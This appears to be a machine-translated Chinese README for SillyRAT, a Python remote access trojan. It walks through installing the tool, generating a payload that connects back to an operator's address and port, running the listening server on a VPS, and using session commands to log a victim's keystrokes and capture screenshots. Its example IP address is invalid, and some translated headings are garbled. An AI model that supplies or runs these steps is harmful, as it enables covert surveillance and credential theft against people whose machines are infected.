一个跨平台多功能(Windows/Linux/Mac)RAT。

入门指南
描述
一个用纯Python编写的跨平台RAT。RAT 接受命令和参数,要么作为接受连接的服务器执行,要么作为客户端/目标,建立与服务器的连接。生成命令使用模块 pyinstaller 编译实际的有效载荷代码。所以,为了生成你各自平台的有效载荷文件,你需要在生成文件时使用该平台。此外,你也可以直接获取源文件。
特色
未来是可以预料的
安装
该工具在Parrot OS上的Python 3.8测试。 安装步骤如下:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
文献资料
有效载荷生成
你可以通过两种方式获得有效载荷文件:
源文件在所有平台上保持一致。所以你可以在一个平台上生成,在另一个平台上使用。获取源文件:$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
编译版本必须在相应平台上生成。例如,你无法在 Linux 上生成.exe文件。你必须特别使用Windows系统。该工具仍在测试中。所以,各种错误都被接受。不过一定要开启一个问题。生成Linux编译版本:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

按照上述命令更换你的IP地址和端口。
运行服务器
服务器必须在Linux上执行。你可以购买VPS或云服务器来连接。顺便说一句,服务器不会存储上次运行的任何会话。所以,一旦服务器应用被终止,所有进度都会丢失。运行你的服务器:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
换乘
所有连接都会在 sessions 命令下列出:
$ sessions

你可以用connect命令连接到目标会话,并启动可用命令之一:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

帮助
获取可用命令列表:
$ help
关于特定指令的帮助:
$ help COMMAND